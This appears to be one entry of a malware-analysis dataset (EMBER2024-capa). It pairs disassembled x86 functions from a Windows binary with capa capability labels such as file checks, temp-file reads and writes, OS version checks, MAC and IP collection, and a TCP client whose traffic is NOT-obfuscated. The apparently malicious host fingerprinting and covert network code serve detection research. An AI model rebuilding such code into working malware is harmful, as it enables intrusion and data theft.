joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4018e4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
mov esi, 0x206
xor edi, edi
push esi
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push edi
push eax
mov dword [ebp - 0x418], edi
call fcn.00407ee0
xor eax, eax
push esi
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push edi
push eax
call fcn.00407ee0
add esp, 0x18
push 0x104
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
xor eax, eax
mov word [ebp - 0x410], ax
push 0x413388
lea eax, [ebp - 0x414]
push eax
mov ebx, 0x4133cc
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401995
mov dword [ebp - 0x418], 1
push 0x4133d8
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4019c3
or dword [ebp - 0x418], 2
push 0x413420
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x4019f1
or dword [ebp - 0x418], 4
push 0x413470
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401a22
or dword [ebp - 0x418], 0x100
push 0x4134c8
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
cmp eax, 0xffffffff
je 0x401a53
or dword [ebp - 0x418], 0x200
push 0x413520
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push ebx
push eax
call esi
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
call edi
pop edi
pop esi
pop ebx
cmp eax, 0xffffffff
je 0x401a87
or dword [ebp - 0x418], 0x400
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x418]
xor ecx, ebp
or eax, 0x2000000
call fcn.00404588
leave
ret
Function at 0x401bb6
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor esi, esi
mov dword [ebp - 0x214], esi
cmp ebx, esi
je 0x401cc7
cmp edi, esi
je 0x401cc7
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x401be7
sub eax, edx
sar eax, 1
je 0x401cc7
xor eax, eax
push 0x206
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push esi
push eax
call fcn.00407ee0
add esp, 0xc
cmp dword [ebp + 8], esi
jne 0x401c52
cmp dword [0x415f10], 3
jne 0x401c52
mov esi, 0x104
push esi
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4135e0
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404597
add esp, 0xc
jmp 0x401c65
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404597
and dword [ebp - 0x210], 0
push 0x4135e4
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004048b9
add esp, 0x18
cmp dword [ebp - 0x210], 0
je 0x401cc7
push dword [ebp - 0x210]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00404b4a
push dword [ebp - 0x210]
call fcn.00404bd4
add esp, 0x14
mov dword [ebp - 0x214], esi
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x214]
xor ecx, ebp
pop esi
call fcn.00404588
leave
ret

Function at 0x401d6a
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
xor esi, esi
call fcn.00407ee0
and dword [ebp - 0x210], esi
add esp, 0xc
test edi, edi
je 0x401e14
lea eax, [ebp - 0x20c]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4135c4
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.00404597
push 0x413604
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x210]
push eax
call fcn.004048b9
xor esi, esi
add esp, 0x18
inc esi
cmp dword [ebp - 0x210], 0
je 0x401e14
push dword [ebp - 0x210]
push esi
push 0x200
push edi
call fcn.00404d9f
push dword [ebp - 0x210]
call fcn.00404bd4
add esp, 0x14
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404588
leave
ret
Function at 0x40255d
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor esi, esi
lea eax, [ebp - 0x20e]
push esi
push eax
call fcn.00407ee0
add esp, 0xc
push 0x200
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.00407ee0
lea eax, [ebp - 0x410]
add esp, 0xc
push eax
call fcn.00401cda
pop ecx
test eax, eax
je 0x402689
xor eax, eax
movzx ecx, word [eax + 0x4132a8]
mov word [eax + 0x417578], cx
add eax, 2
cmp cx, si
jne 0x4025bd
xor eax, eax
movzx ecx, word [ebp + eax - 0x38a]
mov word [eax + 0x417470], cx
add eax, 2
cmp cx, si
jne 0x4025d5
xor eax, eax
movzx ecx, word [ebp + eax - 0x40c]
mov word [eax + 0x4174f0], cx
add eax, 2
cmp cx, si
jne 0x4025ee
cmp dword [0x415f10], 3
mov ax, word [ebp - 0x38c]
mov word [0x417570], ax
mov ax, word [ebp - 0x2ea]
mov word [0x4175f8], ax
mov dword [0x4175fc], 5
lea eax, [ebp - 0x210]
mov esi, 0x104
je 0x402647
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402664
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4136f4
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404597
add esp, 0xc
push 0x4135ec
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00404597
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
xor esi, esi
inc esi
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00404588
leave
ret

Function at 0x4026a0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x415f10], 0
call fcn.00407ee0
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402757
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402721
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402709
cmp eax, 1
jne 0x402757
mov dword [0x415f10], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404588
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402757
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x402748
mov dword [0x415f10], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404588
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x402757
mov dword [0x415f10], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404588
mov esp, ebp
pop ebp
ret
Function at 0x402770
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00407ee0
add esp, 0xc
cmp dword [0x415f10], 3
jne 0x4027d7
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41366c
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404597
add esp, 0xc
jmp 0x4027e9
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [ebp - 0x20c]
push edx
push 0x413670
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.00404588
mov esp, ebp
pop ebp
ret

Function at 0x4028d0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, eax
cmp edi, 0xffffffff
je 0x4029fa
push 0x400
call fcn.004050cd
add esp, 4
push 0x400
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00407ee0
add esp, 0xc
call fcn.00402ab0
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], ecx
shld ecx, eax, 9
shl eax, 9
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0xc], ecx
lea ecx, [ebp - 4]
push ecx
push 0x400
push ebx
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x4029f1
cmp dword [ebx + 4], 0x5042475f
jne 0x402994
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x402960
sub eax, edx
sar eax, 1
je 0x402994
mov edi, dword [ebp + 8]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00405161
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x400
push ebx
push edi
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], 0x3c00
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x4029f1
cmp dword [ebx + 4], 0x5042475f
jne 0x4029f1
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x4029e0
sub eax, edx
sar eax, 1
jne 0x402971
push ebx
call fcn.00405161
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402a10
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov dword [ebp - 0x214], 0
mov word [ebp - 0x210], ax
call fcn.00407ee0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
lea ebx, [ebp - 0x214]
call fcn.00402ba0
mov ebx, dword [ebp - 0x214]
add esp, 4
call fcn.00402ca0
cmp eax, 0xffffffff
jne 0x402a98
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404588
mov esp, ebp
pop ebp
ret
push esi
call fcn.004028d0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop ebx
call fcn.00404588
mov esp, ebp
pop ebp
ret

Function at 0x402ab0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x207]
push ebx
push eax
xor esi, esi
mov byte [ebp - 0x208], bl
call fcn.00407ee0
add esp, 0xc
cmp edi, 0xffffffff
je 0x402b7c
xor eax, eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x210], eax
push 0x200
lea eax, [ebp - 0x208]
push eax
push edi
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x402b7c
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
cmp eax, ebx
jbe 0x402b58
mov esi, eax
mov eax, dword [ebp - 0x2e]
add eax, dword [ebp - 0x32]
cmp eax, esi
jbe 0x402b64
mov esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
jbe 0x402b70
mov esi, eax
mov eax, dword [ebp - 0x12]
add eax, dword [ebp - 0xe]
cmp eax, esi
jbe 0x402b7c
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404588
mov esp, ebp
pop ebp
ret
Function at 0x402dd0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x4136f8
mov edi, ecx
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 4], 0
call fcn.004048b9
add esp, 0xc
test eax, eax
je 0x402dfd
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push ebx
push esi
push 2
push 0
push edx
call fcn.00405225
mov eax, dword [ebp - 4]
push eax
call fcn.00405435
mov ecx, dword [ebp - 4]
push 0
push 0
push ecx
mov esi, eax
call fcn.00405225
lea eax, [esi + edi]
push eax
mov dword [ebp - 0xc], eax
call fcn.004050cd
mov edx, dword [ebp - 4]
push edx
push 1
mov ebx, eax
push esi
push ebx
call fcn.00404b4a
mov eax, dword [ebp - 4]
push eax
call fcn.00404bd4
push edi
add esi, ebx
push 0
push esi
mov dword [ebp - 8], esi
call fcn.00407ee0
mov eax, edi
cdq
and edx, 3
lea esi, [edx + eax]
add esp, 0x40
sar esi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040549a
add esp, 4
xor edi, edi
test esi, esi
jle 0x402e90
lea ebx, [ebx]
call fcn.004054ac
mov ecx, dword [ebp - 8]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, esi
jl 0x402e80
mov edx, dword [ebp + 8]
push 0x413700
push edx
lea eax, [ebp - 4]
push eax
call fcn.004048b9
add esp, 0xc
test eax, eax
je 0x402eb2
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
push ecx
push 1
push edx
push ebx
call fcn.00404d9f
mov eax, dword [ebp - 4]
push eax
call fcn.00404bd4
add esp, 0x14
test ebx, ebx
je 0x402edb
push ebx
call fcn.00405161
add esp, 4
pop esi
pop ebx
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x403490
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x3a98
lea ecx, [ecx]
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40351f
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0x10
push 2
call ebx
mov edi, eax
cmp edi, 0x6f
jne 0x4034ef
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc dword [ebp - 4]
cmp edi, 0x6f
jne 0x403529
cmp dword [ebp - 4], 3
jb 0x4034b0
mov edi, 0xfffffffd
test esi, esi
je 0x403516
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x4034fd
mov eax, esi
test esi, esi
je 0x403593
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x403543
cmp dword [eax + 0x1c], 0
jne 0x40354e
mov eax, dword [eax + 8]
test eax, eax
jne 0x403538
xor edi, edi
jmp 0x403502
mov edx, dword [eax + 0x2c]
mov ecx, dword [ebp + 8]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [ebp + 0xc]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x403502
Function at 0x4037c0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push ebx
push edi
call fcn.00403900
add esp, 8
mov dword [ebp - 0x41c], eax
test eax, eax
jne 0x4038e6
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.00407ee0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], dx
call fcn.00407ee0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x416ef0
lea ecx, [ecx]
cmp word [esi], 0
je 0x403876
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.0040460c
add esp, 0xc
push esi
lea ecx, [ebp - 0x418]
push 0x104
push ecx
call fcn.00404597
add esp, 0xc
add esi, 0x118
cmp esi, 0x417468
jl 0x403840
mov esi, 0x416ef0
lea esp, [esp]
cmp word [esi], 0
je 0x4038a2
push ebx
push edi
mov ecx, esi
call fcn.00404200
add esp, 8
add esi, 0x118
cmp esi, 0x417468
jl 0x403890
push 0x417c80
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404597
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov eax, 2
je 0x4038e6
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00404588
mov esp, ebp
pop ebp
ret

Function at 0x403b40
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ac
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [ebp - 0x808]
cmp eax, ebx
je 0x403b65
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [ebp - 0x9a8]
push ecx
push 0x101
mov dword [ebp - 0x9ac], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403b97
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404588
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403b86
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403bd7
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [ebp - 0x9ac]
push edx
mov dword [ebp - 0x9ac], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403c2d
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [ebp - 0x814], edx
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [ebp - 0x818]
mov word [ebp - 0x816], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403c2d
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404588
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x403c3c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.00404588
mov esp, ebp
pop ebp
ret
Function at 0x403db0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x403e2c
cmp edi, eax
jle 0x403dd6
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x403dc6
lea ebx, [edi + 7]
push ebx
call fcn.0040564e
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x415f14]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x415f18]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.00408a50
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x403e2f
cmp eax, ebx
jne 0x403e2f
mov dword [ebp - 4], 1
jmp 0x403e2f
mov esi, dword [ebp + 8]
test esi, esi
je 0x403e3c
push esi
call fcn.00405a27
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x404060
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], ebx
lea ecx, [ebp - 0x8cc]
test eax, eax
je 0x40409c
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [edx]
xor edi, edi
mov dword [ebp - 0x8d0], edi
test esi, esi
je 0x4041e7
test ebx, ebx
je 0x4041e7
push 0xc7
lea ecx, [ebp - 0xcb]
push edi
push ecx
mov byte [ebp - 0xcc], al
call fcn.00407ee0
add esp, 0xc
push edi
push 2
lea edx, [ebp - 0xcc]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4041e5
test eax, eax
je 0x4041e5
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
xor esi, esi
call fcn.0040564e
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4041c1
jmp 0x404120
mov eax, dword [ebp - 0x8d8]
push 0
mov ecx, edi
sub ecx, esi
push ecx
mov ecx, dword [eax]
lea edx, [esi + ebx]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x40419b
test eax, eax
je 0x40419b
add esi, eax
cmp edi, esi
jg 0x404120
cmp esi, 5
jl 0x4041c1
mov edx, dword [0x415f14]
sub esi, 5
cmp edx, dword [ebx]
jne 0x4041c1
mov al, byte [ebx + 4]
cmp al, byte [0x415f18]
jne 0x4041c1
test esi, esi
jle 0x40417a
lea eax, [ebx + 5]
mov edi, esi
nop
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x404170
mov edi, dword [ebp - 0x8dc]
mov eax, dword [edi]
cmp eax, esi
jl 0x4041a3
mov eax, dword [ebp - 0x8d4]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00408a50
mov dword [edi], esi
jmp 0x4041b4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4041c1
mov edx, dword [ebp - 0x8d4]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00408a50
add esp, 0xc
mov dword [ebp - 0x8d0], 1
test ebx, ebx
je 0x4041ce
push ebx
call fcn.00405a27
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404588
mov esp, ebp
pop ebp
ret
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404588
mov esp, ebp
pop ebp
ret